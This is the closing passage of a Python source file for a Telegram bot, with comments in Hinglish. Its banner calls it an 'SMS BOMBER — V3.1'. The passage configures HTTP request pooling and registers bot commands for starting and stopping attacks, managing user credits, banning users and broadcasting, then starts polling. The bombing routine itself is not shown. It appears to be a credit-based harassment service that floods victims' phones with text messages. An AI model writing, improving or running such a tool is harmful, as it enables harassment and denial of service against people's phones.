| "connect_timeout": 30, | |
| "pool_timeout": 30, | |
| "connection_pool_size": 10, | |
| } | |
| bot_request = HTTPXRequest(**request_kwargs) | |
| # ⭐ FIX: concurrent_updates builder me pass hota hai (property setter nahi hai) | |
| app = ( | |
| Application.builder() | |
| .token(TOKEN) | |
| .request(bot_request) | |
| .concurrent_updates(True) | |
| .build() | |
| ) | |
| for h in [("start", start), ("set", set_video), ("stop", stop_cmd), ("cancel", cancel_cmd), | |
| ("users", users_cmd), ("userinfo", ui_cmd), ("addcredits", ac_cmd), | |
| ("removecredits", rc_cmd), ("ban", ban_cmd), ("unban", unban_cmd), ("broadcast", bcast)]: | |
| app.add_handler(CommandHandler(h[0], h[1])) | |
| app.add_handler(CallbackQueryHandler(cb)) | |
| app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, ht)) | |
| print(""" | |
| ╔══════════════════════════════════════════════════╗ | |
| ║ 🔥 SMS BOMBER — V3.1 (FINAL) 🔥 ║ | |
| ║ ✅ STOP instant — global asyncio.Event ║ | |
| ║ ✅ user_data.clear() se stop immune ║ | |
| ║ ✅ concurrent_updates (builder) — queue fix ║ | |
| ║ ✅ Double-bomb prevent ║ | |
| ║ ✅ finally cleanup — crash pe bhi unlock ║ | |
| ║ ✅ Interactive Admin + Redeem intact ║ | |
| ╚══════════════════════════════════════════════════╝ | |
| """) | |
| app.run_polling(allowed_updates=Update.ALL_TYPES, drop_pending_updates=True) | |
| if __name__ == "__main__": | |
| main() | |